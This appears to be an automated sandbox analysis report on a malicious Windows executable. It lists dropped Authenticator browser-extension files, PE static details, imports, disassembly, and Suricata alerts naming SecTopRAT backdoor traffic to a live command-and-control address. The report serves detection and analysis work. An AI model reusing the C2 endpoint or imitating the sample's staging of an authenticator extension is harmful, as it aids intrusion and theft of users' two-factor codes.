SSDEEP:	3:SU9+ZnWThBHWkBQRQiGEblQX2Ep:SU8ZWT3bENDbKGEp
MD5:	A9DE6230115CBE63F5AEDFED329FCF06
SHA1:	C96E316C531F93820BA46E645E03F47D227B05F7
SHA-256:	C6E6A5D532264D509DC382A88C48782696D7B07FFF847F9330199DC0948CAC13
SHA-512:	69D54B5072E70AA8D2544B805D0989D5E19114E7200BF147A42CBE180912BCF523E3928EA9B8EDBBA91064841BB61C4E8B46BFE616E620CF829EEAF68580C0CD
Malicious:	false
Preview:	1.1f6c9dcb7f6c769bb3601e2398d5781f1ecd545d1ceeb1f34986f52b81a2015d

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\manifest.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2708
Entropy (8bit):	5.4033992940802476
Encrypted:	false
SSDEEP:	48:WTIEURx9+GO75R+sGdZ6E7QUV3x/5PUyhm5OsdZZ+sboZ3zZb78nn:wvU0bIsGH6gV355cygOsHgs8VJu
MD5:	70A5CBAAE6110F348B27AE9731B131DE
SHA1:	5391EFD9020D9AFF13C8D079BAB006411F488A95
SHA-256:	92B82EFC938D44D71F9FABDA679EEDF8A05CF262DB16CB5B8AB27DACFD69A219
SHA-512:	57311E4EC08251547666C320E4ACD0F3704AD10F923EB46F769C1785B1BA356A613DA4059A618815DEBA47982029BA4C7F36103706D2A4F117CC0AC1F78AE022
Malicious:	false
Preview:	{.. "action": {.. "default_icon": {.. "19": "images/icon19.png",.. "38": "images/icon38.png".. },.. "default_popup": "view/popup.html",.. "default_title": "__MSG_extShortName__".. },.. "background": {.. "service_worker": "dist/background.js".. },.. "commands": {.. "_execute_action": {.. },.. "autofill": {.. "description": "Autofill the matched code".. },.. "scan-qr": {.. "description": "Scan a QR code".. }.. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; font-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; connect-src https://www.google.com/ https://*.dropboxapi.com https://www.googleapis.com/ https://accounts.google.com/o/oauth2/revoke https://login.microsoftonline.com/common/oauth2/v2.0/token https://graph.microsoft.com/; default-src 'none'",.. "sandbox": "sandbox allow-scripts; script-src 'self' 'unsafe-eval';".. },.. "def

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\schema.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2044
Entropy (8bit):	4.424517557896976
Encrypted:	false
SSDEEP:	24:ygszPI/E9PVdrlmYPstiEnIsAZBk0928ezvPoaFoDtY282x35/MPrG2uaP4Fr:ZszkapmTwls8K0M8CEhV8wqTG2t4J
MD5:	A9B9002F499E977F86431B80109A0DD0
SHA1:	2C69E2D83062406DC5C76C25F4806B60F3099EF6
SHA-256:	8B2DB02AAB972E6DCEAF787D93DBCC0FF034704BC5CCD944C5E4394D18551F0A
SHA-512:	1912EB8759B6700B7984E3F03EE8C72334A49EDC4B8BACD6E2FF032637421F66711DE8267BDE124A2EE00D8A7D8C67639C9BEF6163CCC3697CDEBDB98493FC86
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "disableInstallHelp": {. "title": "Disable opening help page on install",. "description": "If set to true, then help page will not be opened on install.",. "type": "boolean". },. "disableBackup": {. "title": "Disable 3rd party backup",. "description": "If set to true, then 3rd party backup options will be hidden. If 3rd party backup is already configured for a user this will not stop it.",. "type": "boolean". },. "disableExport": {. "title": "Disable import / export menu",. "description": "If set to true, then export buttons will be hidden.",. "type": "boolean". },. "storageArea": {. "title": "Storage area",. "description": "Set to 'sync' or 'local'. If set will force user to use specified storage area. This setting will not check if a user is currently using another storage space and may hide data.",. "type": "string". },. "feedbackURL": {. "title": "Fee

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\view\argon.html

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	138
Entropy (8bit):	4.749636827625579
Encrypted:	false
SSDEEP:	3:PouV7uJLB3tKvYkRetvAU//bLv/K6uuNGXIL0Hac9WGL:hxuJLBdiYkRedAqv/HhNV4HXQGL
MD5:	DE1D49C0B1B5412C8030C8B53BBA691E
SHA1:	F389B240E3028BA7BF29F739C39FB6CD0D5D920D
SHA-256:	EC4FDD9FF1F4B308589C69D454648624A274E1E5A4A67C62C39B3136AEE0149E
SHA-512:	03A5041E56B3D5CAAB4C4FD17C2D3E5614804BA8897BFFEC1DF2BEA407DA6D8706002E66E7D676CDD3A0B1D0E593F0409CD5F716B96170133D237A3DF3BA04E3
Malicious:	false
Preview:	<!DOCTYPE html>.<html>..<head>. <meta charset="utf-8" />.</head>..<body>. <script src="../dist/argon.js"></script>.</body>..</html>.

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\view\import.html

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	273
Entropy (8bit):	4.692198863413075
Encrypted:	false
SSDEEP:	6:hxuJLBdiYkRZ++LKT6pGBDz8Yk+KNhdAFCnumv/HyAV4HXQGL:hYzgnMVKtAYdV4gGL
MD5:	5D2FDCB3E1E32A34FF5E7242495B0011
SHA1:	43093CC0EBDC5F9C37F96D4C690EF382B2AFE392
SHA-256:	965ABA6848C992A4B2F145117323B809ED86B2D5E04CE720742AF6F8FD7EBBC6
SHA-512:	3753420360D37C8ED9F9AE08745DC49DD7257BC212F79F45A9590B2E2AB503711D8D416C61D7068386DE6002A3911B7461D4AAAE436EB04CE77CF28E49811747
Malicious:	false
Preview:	<!DOCTYPE html>.<html>..<head>. <meta charset="utf-8" />. <title> </title>. <link rel="stylesheet" href="../css/import.css" type="text/css" charset="utf-8">.</head>..<body>. <div id="import"></div>. <script src="../dist/import.js"></script>.</body>..</html>.

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\view\licenses.html

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	1465
Entropy (8bit):	4.831503442829093
Encrypted:	false
SSDEEP:	24:hN05G2JQROBL0ZQz3LbfbElnCXExMSAaZHwYw5qDUjRYH:kdNLXz3yfwYw5uoYH
MD5:	E634229DE9A283AE6FFB4CBAC375779C
SHA1:	C1678EF9BCFCF8958181F7CC77699000C285DFCF
SHA-256:	B72B66155F468E404143C972C926A0650C8497014409EEED495580698C353B09
SHA-512:	F43FA6199CB1932EC8F01D65D1C68B61E841398BB55F6DAB4AD64D6D16D928B6A7C9EA833F2CDA93B4EBF39D739B88EED793F5DC6C9135F53230C909CDC5CD97
Malicious:	false
Preview:	<!DOCTYPE html>..<head>. <meta charset="utf-8">. <meta name="viewport". content="width=device-width, initial-scale=1">.</head>..<body>. <h1 id="package-name">. <a href="https://github.com/Authenticator-Extension">. Authenticator Extension. </a>. </h1>. <div class="licenses">. <h2>Acknowledgements</h2>. <p>Google and Google Drive are trademarks of Google LLC.</p>. <p>. <a target="_blank" href="https://github.com/FortAwesome/Font-Awesome">. Font Awesome Free. </a> - Licensed under CC BY 4.0. </p>. <p>. <a target="_blank" href="http://www.droidfonts.com/">. Droid Sans Mono. </a> - Copyright Steve Matteson. Licensed under the Apache License.. </p>. <p>. Thanks to. <a target="_blank" href="https://github.com/multiwebinc">Mike Robinson</a>. <3. </p>. <p><a target="_blank" href="qrdebug.html">QR Debugging</a></p>. </div>. <style>. .licenses blockquote {. white-space: pre-wrap;. bac

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\view\options.html

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	169
Entropy (8bit):	4.711652099129053
Encrypted:	false
SSDEEP:	3:PouV7uJLB3tKvYkRetvAU//ECTqQ+06VFbLv/K69WZNGXIL0Hac9WGL:hxuJLBdiYkRedAFCTq/06Pv/HkZNV4HT
MD5:	ACE058F5B1EAA8B3914020BA2ECF49A7
SHA1:	F86D4BF2A8C143536045BA9705A5407478C7B4AD
SHA-256:	41F9C8BB504E9C330DEA4D640AB5784348788FC218A028EE6DE6B359CF5A3A7A
SHA-512:	DE526FE0E84AF2CE1D72432304304C4E51FBF365F82142B2E2624B97BB1D5723D455E092D3886E1A488BAD531CB5293011D6AB910269ECAFBA70D54958449DF9
Malicious:	false
Preview:	<!DOCTYPE html>.<html>..<head>. <meta charset="utf-8" />.</head>..<body>. <div id="options"></div>. <script src="../dist/options.js"></script>.</body>..</html>.

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\view\permissions.html

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	303
Entropy (8bit):	4.742989643528998
Encrypted:	false
SSDEEP:	6:h4QEGSKYkROU08LKT6ptAgvz8YkxchXMfECPhuo6C3v/HPmZNVMWXncGu:hPEX1RotHBcfGC3EVMWMGu
MD5:	6630A819D29E4650267D26A946CAEE33
SHA1:	6B499114BAACAD1ED26A2914972D1C9F62F0F77D
SHA-256:	284CFEDA69C6415F37C49FF9F6C4B7CA8F5783A9D15EC0EDEB09D462D4726D8C
SHA-512:	34ACF6EB5638432909711E7CE89392CCA6B430A5A82739F55ADD3E2CF0DD1C38097062282C814A29DD76FE674B702C913071078027564140B5591CFF0EC243B6
Malicious:	false
Preview:	<!DOCTYPE html>..<html>....<head>.. <meta charset="utf-8" />.. <title> </title>.. <link rel="stylesheet" href="../css/permissions.css" type="text/css" charset="utf-8">..</head>....<body>.. <div id="permissions"></div>.. <script src="../dist/permissions.js"></script>..</body>....</html>..

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\view\popup.html

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	435
Entropy (8bit):	4.665550279220314
Encrypted:	false
SSDEEP:	12:hYzgwq7fCptKVJRPyNUvCKtAO9PuzrVEo0Z/WNVGL:hYsJf4tO7PvmO4zrVK5WNVu
MD5:	3815D70620DA980B50DAD76424075E6D
SHA1:	77C7F364960585BF3199899FD28E21C62B0EC7D6
SHA-256:	3FBB9F94858E224A476B5163709258D1C7D2FC8FE018DD2CC1B70808414594DB
SHA-512:	9CBC188BA216929D44CDA4F07F89F423B650B005489F5B0E68227474FD1AC76074E5D14B9AD6A1E7F0231E9DBF97F71569448035BEC7DECEAF7638A778353543
Malicious:	false
Preview:	<!DOCTYPE html>.<html>..<head>. <meta charset="utf-8" />. <link rel="manifest" href="/manifest-pwa.json">. <link href="../css/popup.css". type="text/css". rel="stylesheet". charset="utf-8">.</head>..<body>. <div id="authenticator">. </div>. <script src="../dist/popup.js"></script>. <iframe src="argon.html". id="argon-sandbox". style="display: none;"></iframe>.</body>..</html>.

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\view\qrdebug.html

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	4.824382664288757
Encrypted:	false
SSDEEP:	6:h4QW3tSUQm3KYkb0MfGkxTy0cH/ECq0CH/gb7S3v/HJmZNVMchYu:hPgkRgyLfGkx2/bM/j3JmvVMCYu
MD5:	602C1F2C8C897925EE77CE4FB2AF7B02
SHA1:	5DABB424DCF5C84D79237D6F23FE97C29FE8E77F
SHA-256:	04544604912BD6E22B5D4D9A4D69C5EE3A94A829DE4F78D8596EC1E0D85CEDA7
SHA-512:	2CBBA9ED450D620C5AF8C6B8872600788EC002AB5EC05260E4F6F3041008A26151A3E497CFB2289FEF3FD3F410EA5DCA57A9C555FFA1E6016F0F4045C192428F
Malicious:	false
Preview:	<!DOCTYPE html>..<html>..<head>.. <title>QR Debugging</title>.. <meta charset="utf-8"/>..</head>..<body>.. <h2>QR Scan Debugging Page</h2>.. <div id="info"></div>.. <br>.. <img id="qr" src="">.. <script src="../dist/qrdebug.js"></script>..</head>..</html>..

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\view\test.html

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	4.7250902734113716
Encrypted:	false
SSDEEP:	6:hxuJzhqIwGiYkRZ+1RgfAbplilAlGLKT6p7WAEdpQCyblv/H90VwHX4QL:hY0pCJyg67WAEdup+VHQL
MD5:	98E84AC15C842C3E5F08E491FA84D816
SHA1:	A1C61D126702A08FF18196FDB46797CB160C4922
SHA-256:	4E386D68E053085A2149CF00315297898457B7421D1BD8DA2059D8A24C686D94
SHA-512:	F46D4EE23DFC4B6911D34DA9534D05A559FF5CB86EAEEAAEFD996EEDB0BA97F212E88A8E11A386857EA822B2D27D4F2CC4F565920103D6677296C322271014B1
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="utf-8" />. <title>Mocha Tests</title>. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <link rel="stylesheet" href="../css/mocha.css" />. </head>. <body>. <div id="mocha"></div>.. <script src="../dist/test.js"></script>. </body>.</html>.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.967696013380021
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	107.exe
File size:	4'083'200 bytes
MD5:	468bbc70a56325cc39d82e796879faa2
SHA1:	5488f804a50f35be53fbf646ecb75d0211f180f3
SHA256:	4732e7bbf0eb82ab024b4758bab398bb45320f45dbec2073bda054cce01b6d61
SHA512:	a133fb50cdfbd9e74b6e8ba3d63819e70eba4f57ac47e8a26780074613bf94eb74971bd46906e1b395c4df27d77a9fcf66f4d777df65da5cca23b5d1c5277152
SSDEEP:	49152:PuyQz1ISCnS/djRooJTK7sY7vvvUcwAfUOoYaKggtMt+tK+7xzy1AyBS9oZcTCIF:P81ISCnqjn7Y7v3UcwOwwVpu
TLSH:	FD16AF20761A802BD6C711B29A1CE77B813CAE250B7950CBD3E4FE7D1E615D22B32F56
File Content Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$.........N.;. .;. .;. ...%... ...$.#. .=...8. .=.$./. .=.#.!. .=.%.K. ...#.*. .2...9. ...$.:. .;. .=. .m.%.8. ...!.". ...%.2. .;.!...

File Icon


Icon Hash:	1731736dd88c2b07

Static PE Info

General

Entrypoint:	0x45b830
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x66E0855F [Tue Sep 10 17:43:59 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	fbc7cf9faa1ae4978ded5d38c7a3b6d1

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
call 00007F03112DFC97h
jmp 00007F03111A21CBh
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
and esp, FFFFFFF0h
sub esp, 28h
push esi
push edi
mov edi, ecx
mov dword ptr [esp+20h], 00000000h
push 00000077h
xorps xmm0, xmm0
mov dword ptr [esp+10h], edi
push 0062CA80h
lea ecx, dword ptr [esp+18h]
mov dword ptr [esp+14h], edi
movaps esp+18h, dqword ptr [xmm0]
mov dword ptr [esp+2Ch], 00000000h
call 00007F031116E238h
cmp dword ptr [esp+24h], 0Fh
lea eax, dword ptr [esp+10h]
mov ecx, edi
cmovnbe eax, dword ptr [esp+10h]
push eax
push FFFFFFFFh
call 00007F031116F4F0h
mov ecx, dword ptr [esp+24h]
mov dword ptr [edi], 0062CB08h
cmp ecx, 0Fh
jbe 00007F03111A240Bh
mov edx, dword ptr [esp+10h]
inc ecx
mov eax, edx
cmp ecx, 00001000h
jc 00007F03111A23F2h
mov edx, dword ptr [eax-04h]
add ecx, 23h
sub eax, edx
add eax, FFFFFFFCh
cmp eax, 1Fh
jnbe 00007F03111A242Ah
push ecx
push edx
call 00007F03112DF385h
add esp, 08h
lea esi, dword ptr [edi+10h]
mov ecx, esi
call 00007F031116F3FEh
mov dword ptr [edi], 0062CAFCh
xorps xmm0, xmm0
movq qword ptr [esi], xmm0
push esi
mov dword ptr [esi], 00000000h
mov dword ptr [esi+04h], 00000000h
call 00007F03112DCBC9h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x286240	0xe4	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x286324	0xdc	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2f0000	0xdf868	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x312048	0x2ae0	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3d0000	0x1f9ac	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2496e4	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x249780	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2174b8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1f2000	0x510	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x28600c	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1f00fa	0x1f0200	8615f334613c44d259d323596726e1fb	False	0.4219724348072562	data	6.489958623549163	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1f2000	0x962ea	0x96400	a5bba1ef5e7b064031e1433b6674f562	False	0.32626774386439267	data	5.3546758411403985	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x289000	0x65e70	0x5ee00	269e968aae4e5e6bf2ea23828a40f44f	False	0.06292716567852437	data	5.013779881346	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x2ef000	0x28	0x200	aa2723eebd6b77fa0d0296266ebaf036	False	0.072265625	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "X"	0.4346506313429501	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2f0000	0xdf868	0xdfa00	f7bbc7181d02ebd694c842fcad1fecb1	False	0.735697098588597	data	7.566165469248209	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3d0000	0x1f9ac	0x1fa00	0ea95bee33591d1fce24dc83db2618bc	False	0.586724925889328	data	6.621225296941183	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x2f02f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.2905117270788913
RT_ICON	0x2f11a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.33212996389891697
RT_ICON	0x2f1a48	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.2846820809248555
RT_ICON	0x2f1fb0	0x1cec	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9950027012425716
RT_ICON	0x2f3c9c	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.12305148795465282
RT_ICON	0x2f7ec4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.18900414937759336
RT_ICON	0x2fa46c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.22678236397748594
RT_ICON	0x2fb514	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.4155737704918033
RT_ICON	0x2fbe9c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.42730496453900707
RT_GROUP_ICON	0x2fc304	0x84	data	English	United States	0.696969696969697
RT_VERSION	0x2fc388	0x35c	data	English	United States	0.4569767441860465
RT_HTML	0x2fc6e4	0xd3000	data			0.7614051855005924
RT_MANIFEST	0x3cf6e4	0x182	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	United States	0.6113989637305699

Imports

DLL	Import
RPCRT4.dll	RpcEpUnregister, RpcEpRegisterW, RpcObjectSetType, RpcServerRegisterIf2, RpcServerUnregisterIfEx, RpcImpersonateClient, RpcAsyncCompleteCall, RpcMgmtEpEltInqNextW, RpcMgmtEpEltInqBegin, RpcIfInqId, RpcMgmtEpEltInqDone, UuidCreate, RpcBindingFree, RpcBindingToStringBindingW, RpcAsyncCancelCall, RpcAsyncInitializeHandle, NdrAsyncClientCall, NdrAsyncServerCall, UuidToStringW, UuidFromStringW, RpcRevertToSelf, I_RpcBindingInqLocalClientPID, RpcStringFreeW, RpcServerUseProtseqEpW, RpcServerRegisterIfEx, RpcServerUnregisterIf, NdrServerCall2, NdrClientCall2, RpcStringBindingParseW, RpcBindingFromStringBindingW, RpcStringBindingComposeW
WTSAPI32.dll	WTSQuerySessionInformationW, WTSFreeMemory
SHELL32.dll	SHGetFolderPathW
ntdll.dll	NtOpenKey, NtQueryKey, NtDeleteKey, RtlCaptureContext, RtlNtStatusToDosError, VerSetConditionMask, NtClose, NtSystemDebugControl, NtCreateWorkerFactory, NtQueryInformationProcess, NtQuerySystemInformation, NtQueryInformationWorkerFactory, RtlDllShutdownInProgress, RtlUnwind, NtSetInformationThread
KERNEL32.dll	LocalFree, SetFilePointerEx, UnlockFileEx, LockFileEx, GetFileSizeEx, ReadFile, CompareStringW, GetCurrentProcess, GetCurrentThread, InitializeProcThreadAttributeList, UpdateProcThreadAttribute, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, GetThreadId, CreateProcessW, WriteFile, GetExitCodeProcess, ResumeThread, GetPriorityClass, GetProcessTimes, K32GetProcessMemoryInfo, InitializeCriticalSectionEx, LoadLibraryW, CompareFileTime, QueryFullProcessImageNameW, FlushFileBuffers, DeleteFileW, GetFileInformationByHandle, GetFullPathNameW, OutputDebugStringA, FileTimeToSystemTime, GetCurrentProcessId, TlsAlloc, TlsGetValue, TlsSetValue, FreeLibrary, ResetEvent, GetSystemInfo, GetTickCount, QueryPerformanceFrequency, QueryPerformanceCounter, GetThreadTimes, ExpandEnvironmentStringsW, GetFileAttributesW, LoadLibraryExW, GetSystemDirectoryW, SetErrorMode, VirtualProtect, Sleep, HeapReAlloc, GlobalMemoryStatusEx, SetThreadPriority, GetThreadPriority, TerminateThread, GetExitCodeThread, TlsFree, SetFilePointer, SetEndOfFile, MoveFileExW, GetWindowsDirectoryW, DuplicateHandle, FindFirstFileW, FindClose, CreateDirectoryW, FindFirstFileExW, FindNextFileW, QueryDosDeviceW, GetEnvironmentVariableW, SetFileInformationByHandle, GetDiskFreeSpaceExW, K32GetMappedFileNameW, FindFirstVolumeW, FindNextVolumeW, GetVolumePathNamesForVolumeNameW, FindVolumeClose, VirtualQuery, GetSystemTimes, GetTickCount64, RaiseException, GetFileType, ExitProcess, GetCommandLineW, GetCommandLineA, GetStdHandle, FreeLibraryAndExitThread, ExitThread, InitializeCriticalSectionAndSpinCount, InterlockedPushEntrySList, GetStartupInfoW, IsDebuggerPresent, InitializeSListHead, UnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentThreadId, GetModuleHandleExW, GetModuleFileNameA, SetLastError, RegisterWaitForSingleObject, HeapFree, GetProcessHeap, HeapAlloc, GetModuleFileNameW, VerifyVersionInfoW, SetConsoleCtrlHandler, SetDllDirectoryW, GetProcAddress, GetModuleHandleW, WaitForSingleObject, GetProcessId, GetNamedPipeServerProcessId, GetFileTime, MultiByteToWideChar, ContinueDebugEvent, DebugActiveProcessStop, GetFileAttributesExW, GetSystemTimeAsFileTime, ReadProcessMemory, OpenThread, DebugBreakProcess, CreateFileW, DeviceIoControl, SetEvent, WaitForDebugEvent, DebugSetProcessKillOnExit, DebugActiveProcess, WideCharToMultiByte, VirtualQueryEx, GetThreadContext, K32GetProcessImageFileNameW, K32GetModuleBaseNameW, K32EnumProcessModules, OpenProcess, WaitForMultipleObjects, GetLastError, CreateEventW, CloseHandle, LeaveCriticalSection, EnterCriticalSection, DeleteCriticalSection, InitializeCriticalSection, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetConsoleOutputCP, GetConsoleMode, ReadConsoleW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, OutputDebugStringW, SetStdHandle, HeapSize, WriteConsoleW, QueryUnbiasedInterruptTime, CancelIoEx, GetOverlappedResult, ReadDirectoryChangesW, UnregisterWaitEx, ProcessIdToSessionId, QueryThreadCycleTime, WaitForThreadpoolWaitCallbacks, ReleaseSRWLockShared, AcquireSRWLockShared, GetCPInfo, CloseThreadpoolWait, SetThreadpoolWait, CreateThreadpoolWait, LCMapStringEx, DecodePointer, EncodePointer, GetLocaleInfoEx, InitOnceComplete, InitOnceBeginInitialize, SleepConditionVariableSRW, WakeAllConditionVariable, WakeConditionVariable, TryAcquireSRWLockExclusive, AcquireSRWLockExclusive, ReleaseSRWLockExclusive, GetFileInformationByHandleEx, LoadLibraryExA, SetUnhandledExceptionFilter, AddVectoredExceptionHandler, RemoveVectoredExceptionHandler, K32GetPerformanceInfo, CheckRemoteDebuggerPresent, FlushInstructionCache, K32EnumProcesses, GetProcessHandleCount, CreateIoCompletionPort, TerminateProcess, SetEnvironmentVariableW, CreateThread, GetNativeSystemInfo, WaitForSingleObjectEx, FormatMessageA, GetStringTypeW, AreFileApisANSI
USER32.dll	PostMessageW, GetSystemMetrics, SetWindowLongW, SendMessageW, RegisterWindowMessageW, LoadStringW, GetGUIThreadInfo, SendMessageCallbackW, IsHungAppWindow, PeekMessageW, RegisterClassExW, GetClassInfoExW
ADVAPI32.dll	OpenSCManagerW, CryptReleaseContext, CryptGenRandom, CryptAcquireContextW, RegQueryMultipleValuesW, RegDeleteTreeW, RegNotifyChangeKeyValue, SetSecurityDescriptorDacl, InitializeSecurityDescriptor, RegQueryInfoKeyW, RegDeleteValueW, RegEnumValueW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, RegQueryValueExW, FreeSid, EqualSid, GetTokenInformation, CheckTokenMembership, DuplicateToken, RegOpenKeyExW, StartServiceW, QueryServiceStatus, AllocateAndInitializeSid, RevertToSelf, ImpersonateSelf, OpenThreadToken, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegCloseKey, CloseServiceHandle, ControlService, ChangeServiceConfigW, CreateServiceW, DeleteService, OpenServiceW, StartServiceCtrlDispatcherW, ChangeServiceConfig2W, QueryServiceConfig2W, RegisterServiceCtrlHandlerExW, SetServiceStatus, SetThreadToken
POWRPROF.dll	CallNtPowerInformation
SHLWAPI.dll	PathRemoveFileSpecW, PathFindFileNameW, PathAppendW
ole32.dll	CoCreateGuid

Exports

Name	Ordinal	Address
asw_process_storage_allocate_connector	1	0x45a2e0
asw_process_storage_deallocate_connector	2	0x45a300
on_avast_dll_unload	3	0x452b50
onexit_register_connector_avast_2	4	0x45a160

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-19T03:37:00.830942+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:00.947342+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49704	213.109.202.97	15647	TCP
